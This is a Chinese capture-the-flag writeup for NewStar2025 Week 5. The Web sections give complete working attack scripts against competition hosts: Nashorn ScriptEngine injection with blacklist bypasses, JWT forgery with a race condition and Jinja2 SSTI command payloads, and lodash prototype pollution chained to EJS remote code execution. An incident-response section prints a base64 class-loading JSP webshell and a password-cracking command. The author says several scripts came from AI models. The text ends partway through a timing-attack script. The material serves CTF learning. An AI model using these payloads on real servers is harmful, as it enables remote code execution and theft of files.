NewStar2025 Week5 & 挑战题 Writeup

by 🧑‍🚀 Madel1ne on 2025/11/07

Web

眼熟的计算器

题目描述:今天又买了个新的计算器,看看又给我整了什么花活。

题目提供了一个在线计算器应用,可以输入数学表达式进行计算。同时给出了三个附件:

  • app.jar - Java应用程序包
  • Dockerfile - Docker部署文件
  • start.sh - 启动脚本

附件分析

start.sh

echo $ICQ_FLAG > /flag	
export ICQ_FLAG=""

java -jar /app/app.jar

关键信息

  • Flag被写入到 /flag 文件中
  • 环境变量 ICQ_FLAG 被清空,无法直接读取
  • 目标明确:需要读取 /flag 文件内容

Dockerfile

FROM openjdk:8-jre-slim

WORKDIR /app

COPY app.jar ./app.jar

COPY start.sh /root/start.sh
RUN chmod +x /root/start.sh

EXPOSE 9999
CMD ["/bin/sh", "/root/start.sh"]

关键信息

  • 基于 OpenJDK 8
  • 应用是Java编写
  • 内部端口9999(实际对外端口由Docker映射决定)

源码分析

1. 解压 app.jar

由于jar文件本质是zip格式,解压后得到目录结构:

app_extracted/
├── BOOT-INF/
│   ├── classes/
│   │   ├── application.properties
│   │   ├── org/example/newstar/
│   │   │   ├── controller/
│   │   │   │   └── NewstarController.class
│   │   │   └── NewstarApplication.class
│   │   └── templates/
│   │       ├── error.html
│   │       └── index.html
│   └── lib/ (各种依赖jar包)
└── META-INF/

分析结果:这是一个 Spring Boot 应用

2. 查看配置文件

application.properties:

spring.application.name=newstar
server.port=9999

3. 反编译核心控制器

使用Python脚本分析 NewstarController.class 的常量池,提取关键字符串:

import struct

def read_class_strings(filename):
    with open(filename, 'rb') as f:
        # 跳过magic number和版本号
        magic = f.read(4)
        minor = struct.unpack('>H', f.read(2))[0]
        major = struct.unpack('>H', f.read(2))[0]
        const_pool_count = struct.unpack('>H', f.read(2))[0]
        
        # 遍历常量池提取字符串...

发现的关键字符串

javax/script/ScriptEngineManager
getEngineByName
javax/script/ScriptEngine
eval
Blacklisted word detected:
import
java.lang.Runtime
new

4. 逆向分析结果

根据常量池信息,可以还原出控制器的核心逻辑:

@Controller
public class NewstarController {
    
    private static final String[] BLACKLIST = {"import", "java.lang.Runtime", "new"};
    
    @GetMapping("/")
    public String home(Model model) {
        return "index";
    }
    
    @GetMapping("/calc")
    public String calculate(@RequestParam String content, Model model) throws Exception {
        // 黑名单检查
        for (String word : BLACKLIST) {
            if (content.contains(word)) {
                model.addAttribute("result", "Blacklisted word detected: " + word);
                return "index";
            }
        }
        
        // 使用ScriptEngine执行表达式
        ScriptEngineManager manager = new ScriptEngineManager();
        ScriptEngine engine = manager.getEngineByName("JavaScript");
        Object result = engine.eval(content);
        
        model.addAttribute("result", result);
        return "index";
    }
}

漏洞挖掘

漏洞类型:ScriptEngine 代码注入

漏洞原理

  1. 应用使用 ScriptEngineManager 获取JavaScript引擎(Nashorn)
  2. 直接使用 engine.eval() 执行用户输入的内容
  3. 关键点:Nashorn引擎允许JavaScript代码访问Java类和方法
  4. 存在黑名单过滤,但可以绕过

黑名单分析

被过滤的关键词:

  • import - 防止导入恶意包
  • java.lang.Runtime - 防止直接使用Runtime执行命令
  • new - 防止创建对象实例

问题:黑名单防御策略存在明显缺陷,可以使用其他Java API绕过

漏洞利用

1. 测试各种绕过方法

❌ 方法1:直接使用Runtime(被拦截)
java.lang.Runtime.getRuntime().exec('cat /flag')

结果Blacklisted word detected: java.lang.Runtime

⚠️ 方法2:反射 + 字符串拼接(命令执行成功但无法获取输出)
java.lang.Class.forName('java.la'+'ng.Run'+'time')
  .getMethod('getRun'+'time')
  .invoke(null)
  .exec('cat /flag')

结果java.lang.UNIXProcess@2b55d239
分析:命令执行了,但返回的是Process对象,无法直接获取输出流

❌ 方法3:使用ProcessBuilder(语法错误)
java.lang.ProcessBuilder(['/bin/sh','-c','cat /flag']).start()

结果TypeError: java.lang.ProcessBuilder is not a function

❌ 方法4:使用new关键字(被拦截)
new java.util.Scanner(new java.io.File('/flag')).useDelimiter('\\Z').next()

结果Blacklisted word detected: new

✅ 方法5:使用Java NIO API(成功!)
java.nio.file.Files.readAllLines(java.nio.file.Paths.get('/flag'))

结果[flag{19add667-77cf-4b2d-b3d6-3b83c5c989b4}]

2. 成功payload分析

为什么这个payload能成功?

  1. 不触发黑名单

    • 不包含 import
    • 不包含 java.lang.Runtime
    • 不包含 new 关键字
  2. 使用静态方法链

    • java.nio.file.Paths.get('/flag') - 静态方法,返回Path对象
    • java.nio.file.Files.readAllLines(Path) - 静态方法,读取所有行
    • 全程无需使用 new 关键字创建对象
  3. 返回值可显示

    • readAllLines() 返回 List<String>
    • Spring MVC会自动调用 toString() 方法
    • 结果可以直接在HTML页面中显示

完整攻击脚本

import requests
import urllib.parse

# 目标URL
base_url = "http://8.147.132.32:13440/calc"

def test_payload(payload, description):
    print(f"\n[*] Testing: {description}")
    print(f"[*] Payload: {payload}")
    try:
        response = requests.get(base_url, params={"content": payload}, timeout=10)
        print(f"[+] Status Code: {response.status_code}")
        # 尝试从HTML中提取结果
        if "计算结果:" in response.text:
            # 简单提取结果
            start = response.text.find("计算结果:")
            if start != -1:
                result_section = response.text[start:start+500]
                print(f"[+] Response snippet: {result_section[:200]}")
        else:
            print(f"[+] Response: {response.text[:500]}")
    except Exception as e:
        print(f"[-] Error: {str(e)}")

# 测试各种绕过payload
print("="*60)
print("Testing ScriptEngine Injection Payloads")
print("="*60)

# 基础测试
test_payload("1+1", "Basic calculation")

# 尝试直接访问Runtime(可能被黑名单拦截)
test_payload("java.lang.Runtime.getRuntime().exec('cat /flag')", "Direct Runtime (likely blocked)")

# 绕过黑名单的各种方法

# 方法1: 使用反射绕过
payload1 = "java.lang.Class.forName('java.la'+'ng.Run'+'time').getMethod('getRun'+'time').invoke(null).exec('cat /flag')"
test_payload(payload1, "Using reflection with string concatenation")

# 方法2: 使用ProcessBuilder
payload2 = "java.lang.ProcessBuilder(['/bin/sh','-c','cat /flag']).start()"
test_payload(payload2, "Using ProcessBuilder")

# 方法3: 使用getClass()
payload3 = "''.getClass().forName('java.la'+'ng.Run'+'time').getMethod('getRun'+'time').invoke(null).exec('cat /flag').getInputStream()"
test_payload(payload3, "Using getClass() and reflection")

# 方法4: 读取文件的另一种方式
payload4 = "java.nio.file.Files.readAllLines(java.nio.file.Paths.get('/flag'))"
test_payload(payload4, "Using Files.readAllLines")

# 方法5: 使用Scanner读取
payload5 = "new java.util.Scanner(new java.io.File('/flag')).useDelimiter('\\\\Z').next()"
test_payload(payload5, "Using Scanner (contains 'new', might be blocked)")

# 方法6: 不使用new,用反射创建Scanner
payload6 = "''.getClass().forName('java.util.Scanner').getConstructor(java.io.File).newInstance(java.io.File('/flag')).useDelimiter('\\\\Z').next()"
test_payload(payload6, "Using reflection to create Scanner")

# 方法7: 直接读取文件内容(不使用new)
payload7 = "java.nio.file.Files.readString(java.nio.file.Paths.get('/flag'))"
test_payload(payload7, "Using Files.readString (Java 11+)")

# 方法8: 使用Runtime字符串拼接
payload8 = "''.getClass().forName('java.la'+'ng.Run'+'time').getMethods()[6].invoke(''.getClass().forName('java.la'+'ng.Run'+'time').getMethods()[15].invoke(null)).getText()"
test_payload(payload8, "Complex reflection payload")

print("\n" + "="*60)
print("Testing complete!")
print("="*60)

image-20251028121859055

废弃的网站

题目描述:废弃的网站就别争了

把附件的代码给claude分析,让他写出解题脚本

image-20251028130335724

image-20251028130404069

image-20251028130448022

image-20251028130454530

完整攻击脚本

#!/usr/bin/env python3
import jwt
import hashlib
import requests
import threading
import time

TARGET_URL = "http://39.106.48.123:13191"
time_started = 1761625471
APP_SECRET = hashlib.sha256(str(time_started).encode()).hexdigest()

print("[*] 竞态条件攻击 - 利用 time.sleep(0.15) 窗口")

# 准备两个token
admin_token = jwt.encode({"id": 1, "role": "admin", "name": "Administrator"}, APP_SECRET, algorithm='HS256')

ssti_payloads = [
    "{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}",
    "{{''.__class__.__mro__[2].__subclasses__()[40]('/flag').read()}}",
    "{{config.__class__.__init__.__globals__['os'].popen('ls -la /').read()}}",
]

results = []

def poison_tempuser(payload):
    """持续污染 tempuser 全局变量"""
    poison_token = jwt.encode({"id": 2, "role": "guest", "name": payload}, APP_SECRET, algorithm='HS256')
    
    for _ in range(50):  # 持续发送50次
        try:
            requests.get(f"{TARGET_URL}/", cookies={"session": poison_token}, timeout=2)
        except:
            pass
        time.sleep(0.001)  # 1ms间隔

def trigger_admin():
    """触发 admin endpoint"""
    time.sleep(0.05)  # 等待50ms让污染开始
    
    for i in range(20):  # 尝试20次
        try:
            response = requests.get(
                f"{TARGET_URL}/admin",
                cookies={"session": admin_token},
                timeout=2
            )
            results.append(response.text)
            if "flag" in response.text.lower() or len(response.text) > 50:
                print(f"\n[+++] 尝试 #{i+1} - 可能成功!")
                print(f"响应长度: {len(response.text)}")
                print(f"响应内容: {response.text[:500]}")
        except Exception as e:
            pass
        time.sleep(0.02)  # 20ms间隔

# 对每个payload尝试竞态攻击
for idx, payload in enumerate(ssti_payloads, 1):
    print(f"\n[*] 测试 Payload #{idx}: {payload[:50]}...")
    results = []
    
    # 启动污染线程
    poison_thread = threading.Thread(target=poison_tempuser, args=(payload,))
    poison_thread.start()
    
    # 启动admin触发线程
    admin_thread = threading.Thread(target=trigger_admin)
    admin_thread.start()
    
    # 等待完成
    poison_thread.join()
    admin_thread.join()
    
    # 检查结果
    unique_results = set(results)
    for result in unique_results:
        if result != "Welcome Back, Administrator" and result != "":
            print(f"\n[+++] 发现不同的响应:")
            print(result)
            if "flag{" in result.lower() or "ctf" in result.lower():
                print(f"\n{'='*50}")
                print(f"[+++] FLAG 找到!")
                print(f"{'='*50}")
                print(result)
                exit(0)

print("\n[*] 竞态攻击完成,未找到flag")
print("[*] 可能需要调整时间窗口或尝试其他方法")

image-20251028130243358


小W和小K的故事(最终章)

小 K 和小 W 一起来到了 NewStar 的 Web 最后一关。
此乃旧时代的落幕,亦将见证诸位 NewStar 的崛起。
【本题环境使用 node:20-alpine 搭建】

漏洞分析

1. 代码审计

通过审计源代码,发现以下关键信息:

1.1 可预测的随机数生成器
// app.js
const random = require('./utils/Random');
const rng = new random(114514);  // 固定种子!

let users = {
    'admin': {
        name: 'admin',
        password: rng.getRandomString(16),  // 使用伪随机数生成密码
        isAdmin: true,
    }
}

Random.js 实现了一个线性同余生成器(LCG),使用固定种子 114514,这意味着每次生成的”随机”数都是相同的。

1.2 原型链污染漏洞
// app.js 第 83-86 行
app.post('/addUser', adminAuth, async function(req, res, next) {
    lodash.defaultsDeep(users, req.body);  // 危险!
    res.redirect(302, '/admin');
})

package.json 依赖分析:

{
  "lodash": "4.17.11",  // 存在原型链污染漏洞 CVE-2019-10744
  "ejs": "3.1.6"         // 存在 RCE 漏洞,可配合原型链污染利用
}

解题步骤

Step 1: 破解 Admin 密码

由于随机数生成器使用固定种子,可以在本地复现密码生成过程:

// 破解 admin 密码
// 由于使用固定种子,随机数生成是可预测的

class Random {
    constructor(seed) {
        this.seed = (seed || Date.now()) % 998244353;
    }
    next() {
        this.seed = (this.seed * 48271) % 998244353;
        return this.seed;
    }
    getRandomInt(min, max) {
        return min + (this.next() % (max - min));
    }
    getRandomString(length) {
        const charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
        let result = "";
        for (let i = 0; i < length; i++) {
            result += charset.charAt(this.getRandomInt(0, charset.length));
        }
        return result;
    }
}

const rng = new Random(114514);

// 第一次调用 - 生成 session secret (第20行)
const sessionSecret = rng.getRandomString(16);
console.log('Session Secret:', sessionSecret);

// 第二次调用 - 生成 admin 密码 (第29行)
const adminPassword = rng.getRandomString(16);
console.log('Admin Password:', adminPassword);

console.log('\n登录信息:');
console.log('用户名: admin');
console.log('密码:', adminPassword);

image-20251029194730161

获得凭证

  • 用户名: admin
  • 密码: XrfGpmeEFZmz8NDZ

Step 2: 登录管理员账户

使用破解的凭证登录系统,成功访问管理后台 /admin

Step 3: 原型链污染 + EJS RCE

3.1 漏洞原理

Lodash 4.17.11defaultsDeep 函数存在原型链污染漏洞,可以通过特殊构造的 JSON 对象污染 Object.prototype

EJS 3.1.6 在编译模板时会检查 opts.outputFunctionName,如果这个属性被污染,可以注入任意 JavaScript 代码


3.2 成功的 Payload

经过多次尝试,发现使用 constructor.prototype__proto__ 更有效:

{
  "constructor": {
    "prototype": {
      "outputFunctionName": "a=1;return global.process.mainModule.require('child_process').execSync('cat /flag').toString();var b"
    }
  }
}
3.3 攻击流程
  1. 发送原型链污染 Payload

    payload = {
        "constructor": {
            "prototype": {
                "outputFunctionName": "a=1;return global.process.mainModule.require('child_process').execSync('cat /flag').toString();var b"
            }
        }
    }
    
    session.post(f"{TARGET_URL}/addUser", json=payload)
  2. 触发 EJS 模板渲染

    response = session.get(f"{TARGET_URL}/")

完整攻击脚本

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
改进的原型链污染利用脚本
使用 outputFunctionName 进行 RCE
"""

import requests
import json
import re
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

TARGET_URL = "https://eci-2zebroc186hwvguqjm84.cloudeci1.ichunqiu.com:3000"
USERNAME = "admin"
PASSWORD = "XrfGpmeEFZmz8NDZ"

print("=" * 70)
print("EJS 原型链污染 RCE 利用 (使用 outputFunctionName)")
print("=" * 70)

session = requests.Session()
session.verify = False

def login():
    print("\n[*] 登录...")
    response = session.post(
        f"{TARGET_URL}/login",
        json={"username": USERNAME, "password": PASSWORD},
        allow_redirects=False
    )
    if response.status_code in [200, 302]:
        print(f"[+] 登录成功")
        return True
    return False

def test_basic_pollution():
    """测试基本的原型链污染是否生效"""
    print("\n" + "=" * 70)
    print("测试 1: 基本原型链污染测试")
    print("=" * 70)
    
    payload = {
        "__proto__": {
            "testProperty": "POLLUTED_VALUE"
        }
    }
    
    print(f"[*] 发送测试 payload...")
    session.post(f"{TARGET_URL}/addUser", json=payload, allow_redirects=False)
    print(f"[+] Payload 已发送")

def exploit_with_outputFunctionName():
    """使用 outputFunctionName 进行 RCE"""
    print("\n" + "=" * 70)
    print("测试 2: outputFunctionName RCE")
    print("=" * 70)
    
    # Payload: 污染 outputFunctionName
    # 这会改变 EJS 生成的函数名,从而注入代码
    payload = {
        "__proto__": {
            "outputFunctionName": "x;process.mainModule.require('child_process').exec('cat /flag > /tmp/flagout.txt');x"
        }
    }
    
    print("[*] Payload:")
    print(json.dumps(payload, indent=2))
    
    session.post(f"{TARGET_URL}/addUser", json=payload, allow_redirects=False)
    print("[+] Payload 已发送")
    
    # 访问页面触发
    print("[*] 触发渲染...")
    response = session.get(f"{TARGET_URL}/")
    print(f"[+] 响应长度: {len(response.text)}")
    
    # 尝试读取输出文件
    print("\n[*] 尝试读取命令输出...")
    payload2 = {
        "__proto__": {
            "outputFunctionName": "x;var output=process.mainModule.require('fs').readFileSync('/tmp/flagout.txt','utf8');x"
        }
    }
    session.post(f"{TARGET_URL}/addUser", json=payload2, allow_redirects=False)
    response = session.get(f"{TARGET_URL}/")
    
    if "flag{" in response.text.lower():
        print("[!] 发现 flag!")
        print(response.text)

def exploit_constructor_pollution():
    """通过 constructor.prototype 污染"""
    print("\n" + "=" * 70)
    print("测试 3: constructor.prototype 污染")
    print("=" * 70)
    
    payload = {
        "constructor": {
            "prototype": {
                "outputFunctionName": "a=1;return global.process.mainModule.require('child_process').execSync('cat /flag').toString();var b"
            }
        }
    }
    
    print("[*] Payload:")
    print(json.dumps(payload, indent=2))
    
    session.post(f"{TARGET_URL}/addUser", json=payload, allow_redirects=False)
    print("[+] Payload 已发送")
    
    response = session.get(f"{TARGET_URL}/admin")
    print(f"[+] 响应长度: {len(response.text)}")
    
    # 保存完整响应
    with open("response_constructor.html", "w", encoding="utf-8") as f:
        f.write(response.text)
    print("[+] 响应已保存到 response_constructor.html")

def exploit_view_options():
    """污染 view 选项"""
    print("\n" + "=" * 70)
    print("测试 4: 污染 view 选项")
    print("=" * 70)
    
    # 尝试污染模板选项
    payload = {
        "__proto__": {
            "self": 1,
            "outputFunctionName": "_output;global.process.mainModule.require('child_process').exec('cat /flag',function(e,out){console.log(out)});var __output"
        }
    }
    
    print("[*] Payload:")
    print(json.dumps(payload, indent=2))
    
    session.post(f"{TARGET_URL}/addUser", json=payload, allow_redirects=False)
    print("[+] Payload 已发送")
    
    response = session.get(f"{TARGET_URL}/")
    print(f"[+] 响应长度: {len(response.text)}")
    
    with open("response_view.html", "w", encoding="utf-8") as f:
        f.write(response.text)
    print("[+] 响应已保存到 response_view.html")

def exploit_reverse_shell():
    """尝试反弹 shell 或写文件"""
    print("\n" + "=" * 70)
    print("测试 5: 写文件到 public 目录")
    print("=" * 70)
    
    # 写入 flag 到 static 目录
    payload = {
        "__proto__": {
            "outputFunctionName": "x;try{var flag=process.mainModule.require('child_process').execSync('cat /flag').toString();process.mainModule.require('fs').writeFileSync('/app/public/flag.txt',flag);}catch(e){}x"
        }
    }
    
    print("[*] Payload: 尝试写 flag 到 /app/public/flag.txt")
    session.post(f"{TARGET_URL}/addUser", json=payload, allow_redirects=False)
    print("[+] Payload 已发送")
    
    # 触发
    session.get(f"{TARGET_URL}/")
    
    # 尝试读取
    print("[*] 尝试访问 /static/flag.txt...")
    response = session.get(f"{TARGET_URL}/static/flag.txt")
    print(f"[+] 状态码: {response.status_code}")
    if response.status_code == 200:
        print("[!] FLAG 内容:")
        print(response.text)
        return True
    else:
        print("[-] 无法访问")
    
    return False

def exploit_direct_log():
    """直接在控制台输出(检查日志)"""
    print("\n" + "=" * 70)
    print("测试 6: 将 flag 添加到用户对象中")
    print("=" * 70)
    
    # 创建一个用户,密码是 flag
    payload = {
        "__proto__": {
            "outputFunctionName": "x;try{var f=process.mainModule.require('child_process').execSync('cat /flag').toString();global.FLAG_DATA=f;}catch(e){global.FLAG_DATA=e.toString();}x"
        }
    }
    
    print("[*] Payload: 存储 flag 到全局变量")
    session.post(f"{TARGET_URL}/addUser", json=payload, allow_redirects=False)
    print("[+] Payload 已发送")
    
    # 触发
    session.get(f"{TARGET_URL}/")
    
    # 尝试通过另一个 payload 读取
    payload2 = {
        "flaguser": {
            "name": "FLAG_CONTENT",
            "password": "SEE_BELOW",
            "isAdmin": False
        },
        "__proto__": {
            "outputFunctionName": "x;try{if(global.FLAG_DATA){console.log('FLAG:',global.FLAG_DATA);}}catch(e){}x"
        }
    }
    
    session.post(f"{TARGET_URL}/addUser", json=payload2, allow_redirects=False)
    response = session.get(f"{TARGET_URL}/admin")
    
    print(f"[+] Admin 页面响应长度: {len(response.text)}")
    
    # 检查用户列表
    if "flaguser" in response.text or "FLAG" in response.text:
        print("[!] 在响应中发现异常内容:")
        # 提取相关部分
        lines = response.text.split('\n')
        for i, line in enumerate(lines):
            if 'FLAG' in line or 'flag' in line.lower():
                print(f"行 {i}: {line}")

def main():
    if not login():
        print("[-] 登录失败")
        return
    
    # 依次尝试不同的利用方法
    test_basic_pollution()
    
    # 最有可能成功的方法:写文件到 public 目录
    if exploit_reverse_shell():
        print("\n" + "!" * 70)
        print("成功获取 FLAG!")
        print("!" * 70)
        return
    
    exploit_with_outputFunctionName()
    exploit_constructor_pollution()
    exploit_view_options()
    exploit_direct_log()
    
    print("\n" + "=" * 70)
    print("[*] 所有测试完成")
    print("[*] 请检查生成的 response_*.html 文件")
    print("=" * 70)

if __name__ == "__main__":
    try:
        main()
    except Exception as e:
        print(f"\n[-] 错误: {e}")
        import traceback
        traceback.print_exc()

image-20251029200201317


Misc

区块链-INTbug

题目描述:合约地址:0xB6748b3B308b382E28438cc72872e2D70369D90b

这题问的claude4.5,它给了两种方法

image-20251027210822597

image-20251027210809767


我用的第二种方法

image-20251027210334148

image-20251027210401802

image-20251027210428208

#!/usr/bin/env python3
"""
直接从合约存储读取 flag
不需要发送交易,不需要 Gas!
"""

try:
    from web3 import Web3
except ImportError:
    print("请先安装依赖: pip install web3")
    exit(1)

# Sepolia RPC 节点
RPC_URLS = [
    "https://eth-sepolia.g.alchemy.com/v2/demo",
    "https://ethereum-sepolia-rpc.publicnode.com",
    "https://rpc.sepolia.org",
]

CONTRACT_ADDRESS = "0xB6748b3B308b382E28438cc72872e2D70369D90b"

print("\n" + "=" * 60)
print("直接读取合约存储中的 Flag")
print("=" * 60 + "\n")

# 连接到网络
w3 = None
for rpc_url in RPC_URLS:
    try:
        test_w3 = Web3(Web3.HTTPProvider(rpc_url, request_kwargs={'timeout': 10}))
        if test_w3.is_connected():
            w3 = test_w3
            print(f"✅ 连接成功: {rpc_url}\n")
            break
    except:
        continue

if not w3:
    print("❌ 无法连接到 Sepolia 网络")
    exit(1)

print(f"合约地址: {CONTRACT_ADDRESS}\n")

# Solidity 存储布局:
# slot 0: string private flag
# 对于 string 类型,如果长度 < 32 字节:
#   - 数据和长度都存在同一个 slot
#   - 最后一个字节存储 length * 2

print("[*] 读取存储槽...")

# 读取 slot 0(flag 变量)
slot_0 = w3.eth.get_storage_at(CONTRACT_ADDRESS, 0)
print(f"Slot 0 (原始数据): {slot_0.hex()}")

# 解析字符串
# 检查最后一个字节(长度指示器)
length_byte = slot_0[-1]

if length_byte % 2 == 0:
    # 短字符串(< 32 字节)
    # 长度 = length_byte / 2
    string_length = length_byte // 2
    print(f"字符串长度: {string_length} 字节")
    
    # 数据在前面的字节中
    flag_bytes = slot_0[:string_length]
    flag = flag_bytes.decode('utf-8', errors='ignore')
    
    print("\n" + "=" * 60)
    print("🎉 Flag 找到了!")
    print("=" * 60)
    print(f"\n{flag}\n")
    print("=" * 60)
else:
    # 长字符串(>= 32 字节)
    # 需要读取额外的存储槽
    # slot 0 存储 length * 2 + 1
    string_length = (length_byte - 1) // 2
    print(f"长字符串,长度: {string_length} 字节")
    
    # 实际数据存储在 keccak256(slot) 开始的位置
    import eth_utils
    data_slot = int.from_bytes(eth_utils.keccak(slot_0[:32]), 'big')
    
    flag_parts = []
    slots_needed = (string_length + 31) // 32
    
    for i in range(slots_needed):
        data = w3.eth.get_storage_at(CONTRACT_ADDRESS, data_slot + i)
        flag_parts.append(data)
    
    flag_bytes = b''.join(flag_parts)[:string_length]
    flag = flag_bytes.decode('utf-8', errors='ignore')
    
    print("\n" + "=" * 60)
    print("🎉 Flag 找到了!")
    print("=" * 60)
    print(f"\n{flag}\n")
    print("=" * 60)

print("\n💡 提示: 区块链上没有真正的 'private',所有数据都是公开的!")
print("这就是为什么敏感数据永远不应该存储在智能合约中。\n")

image-20251027210526685


应急响应-把你mikumiku掉-1

城邦为世界第一公主殿下搭建了网站,突然受到了CVE组织的攻击,你能帮城邦对服务器进行排查吗
解压密码:d93e2cb85b2a51ef40e86e4bd6df0b14
账号:newstar 密码:newstar
请问攻击者使用的漏洞编号是?flag{漏洞编号}
cat /opt/tomcat/logs/catalina.out

得到Tomcat版本:Server version name: Apache Tomcat/9.0.98

image-20251029122837902

发现攻击特征

image-20251029123235072

攻击特征:

  • FileStore Session持久化机制

  • 路径穿越 ../../../../../

  • 可疑的 groovy.session 文件

确认攻击成功,发现webshell mikuu.jsp 正在执行命令

image-20251029123441794

根据以上特征:

  • Tomcat 9.0.98 (2024年12月发布的最新版本)

  • FileStore + 路径穿越 + Session持久化

  • 成功上传webshell并执行

→ 符合 CVE-2025-24813 漏洞特征

CVE-2025-24813: Apache Tomcat远程代码执行漏洞,影响版本包括9.0.0.M1至9.0.98,攻击者通过路径穿越控制Session文件加载路径,触发反序列化RCE。

应急响应-把你mikumiku掉-2

题目描述:flag{木马连接密码_恶意用户密码} tips:用户密码是六位特定范围内的字母构成

flag1-木马连接密码

第一步:确定Web服务类型

ps aux | grep -E "apache|nginx|httpd"

image-20251028193516156

发现:

  • Apache Tomcat 运行在PID 992

  • 路径:/opt/tomcat


第二步:分析Web日志

ls -la /opt/tomcat/logs/
cat /opt/tomcat/logs/localhost_access_log.2025-10-17.txt

image-20251028193959428

关键发现

PUT /xxxxx/session HTTP/1.1   409
GET / HTTP/1.1                500
  • 大量PUT请求上传session文件

  • GET请求触发反序列化错误


第三步:查看错误日志

cat /opt/tomcat/logs/catalina.2025-10-17.log

可以看到日志里有大量的Java反序列化攻击痕迹

image-20251028194620749

分析:

  • ✅ Tomcat Session反序列化漏洞

  • ✅ 使用 Commons Collections gadget链


第四步:查找Webshell

ls -la /opt/tomcat/webapps/ROOT/

image-20251028195150769

发现可疑文件:

  • miku.jsp (2025-10-17 04:53)

  • mikuu.jsp (2025-10-17 05:05)


查看这两个可疑文件

cat /opt/tomcat/webapps/ROOT/miku.jsp
cat /opt/tomcat/webapps/ROOT/mikuu.jsp

miku.jsp:

<%!     class U extends ClassLoader {         U(ClassLoader c) {             super(c);         }         public Class g(byte[] b) {             return super.defineClass(b, 0, b.length);         }     }       public byte[] base64Decode(String str) throws Exception {         try {             Class clazz = Class.forName("sun.misc.BASE64Decoder");             return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);         } catch (Exception e) {             Class clazz = Class.forName("java.util.Base64");             Object decoder = clazz.getMethod("getDecoder").invoke(null);             return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);         }     } %> <%     String cls = request.getParameter("passwd");     if (cls != null) {         new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);     }

mikuu.jsp:

<%!     class U extends ClassLoader {         U(ClassLoader c) {             super(c);         }         public Class g(byte[] b) {             return super.defineClass(b, 0, b.length);         }     }       public byte[] base64Decode(String str) throws Exception {         try {             Class clazz = Class.forName("sun.misc.BASE64Decoder");             return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);         } catch (Exception e) {             Class clazz = Class.forName("java.util.Base64");             Object decoder = clazz.getMethod("getDecoder").invoke(null);             return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);         }     } %> <%     String cls = request.getParameter("miiikuuu");     if (cls != null) {         new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);     } %>

拿去给GPT分析看看

image-20251028195956935

image-20251028200221003

得到两个木马连接密码,但是不确定是哪个,继续看日志分析


第五步:确认使用的Webshell

cat /opt/tomcat/logs/localhost_access_log.2025-10-17.txt | grep "miku"

image-20251028200508363

访问记录:

GET/POST /miku.jsp HTTP/1.1     500  ❌失败
GET/POST /mikuu.jsp HTTP/1.1    200  ✅成功

结论:

  • 攻击者使用的是 mikuu.jsp

  • 木马连接密码 = miiikuuu


flag2-恶意用户密码

第一步:查询用户

cat /etc/passwd

发现有一个叫mikuu的可疑用户

image-20251028201119880


第二步:破解用户密码

cat /etc/shadow | grep mikuu

得到:

mikuu:$y$j9T$gCRCetfmd6EZeGuAZkRfn0$uZ/dNiHtjvkJDNfwMoGkJYiOkVV4UW4K0uzNr5FBeO8

拿去给claude4.5分析

密码特征:

  • 题目提示:6位特定范围字母

  • Hash类型:yescrypt (现代Linux)

image-20251028192751773

# 提取hash文件
echo 'mikuu:$y$j9T$gCRCetfmd6EZeGuAZkRfn0$uZ/dNiHtjvkJDNfwMoGkJYiOkVV4UW4K0uzNr5FBeO8' > mikuu_hash.txt

# 破解
john --format=crypt mikuu_hash.txt --mask='[mikuaeo][mikuaeo][mikuaeo][mikuaeo][mikuaeo][mikuaeo]'

image-20251028201726677

得到:mikuuu,最后把flag结合起来得到最终flag:flag{miiikuuu_miiiku}


应急响应-把你mikumiku掉-3

题目描述:被加密文件里面的内容是什么?

用取证大师加载题目镜像,在/home/mikuu/目录可以找到一个flag.miku和mikumikud,右键导出

image-20251027202035339


用IDA打开mikumikud,直接把mikumikud的main函数伪代码给AI分析逻辑

image-20251027202202407

image-20251027202238790

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
AES-CBC 解密脚本
用于解密 flag.miku 文件
"""

from Crypto.Cipher import AES
import struct

# 从代码中提取的密钥和IV(小端序)
key_part1 = 0xF0DEBC9A78563412
key_part2 = 0x8877665544332211
iv_part1 = 0xEF40511401811919
iv_part2 = 0x1032547698BADCFE

# 转换为字节(小端序)
key = struct.pack('<QQ', key_part1, key_part2)
iv = struct.pack('<QQ', iv_part1, iv_part2)

print(f"AES密钥 (hex): {key.hex()}")
print(f"IV (hex): {iv.hex()}")

# 读取加密文件
with open('flag.miku', 'rb') as f:
    encrypted_data = f.read()

print(f"\n加密文件大小: {len(encrypted_data)} 字节")

# 前16字节是IV(虽然代码写入了,但实际使用的是硬编码的IV)
file_iv = encrypted_data[:16]
ciphertext = encrypted_data[16:]

print(f"文件中的IV (hex): {file_iv.hex()}")
print(f"密文大小: {len(ciphertext)} 字节")

# 创建AES解密器
cipher = AES.new(key, AES.MODE_CBC, iv)

# 解密
plaintext = cipher.decrypt(ciphertext)

# 去除PKCS7填充
padding_length = plaintext[-1]
if padding_length <= 16:
    # 验证填充是否正确
    if all(b == padding_length for b in plaintext[-padding_length:]):
        plaintext = plaintext[:-padding_length]

print(f"\n解密后的内容:\n{plaintext.decode('utf-8', errors='ignore')}")

# 保存解密后的文件
with open('flag_decrypted.txt', 'wb') as f:
    f.write(plaintext)

print(f"\n已保存到 flag_decrypted.txt")

image-20251027202319411


TIME HACKER

题目描述:我所害怕的,只有时间

Password_checker.exe

题目给了flag.zip和Password_checker.exe,用010editor打开flag.zip,在底部可以看到一段埃特巴什密文

image-20251102172343816


解码获得提示:the password is ten digits,密码是十位数字 image-20251102172756207


用十位数字爆破flag.zip非常不现实,至少要几十天的时间,所以去看看Password_checker.exe,打开后发现是判断输入的内容是否为正确的密码

image-20251102173619590


根据题目名字和描述,尝试使用时间侧信道攻击

import subprocess
import time
import statistics


def test_password(pwd, runs=3):
    """测试密码并返回平均执行时间"""
    times = []
    for _ in range(runs):
        start = time.perf_counter()
        try:
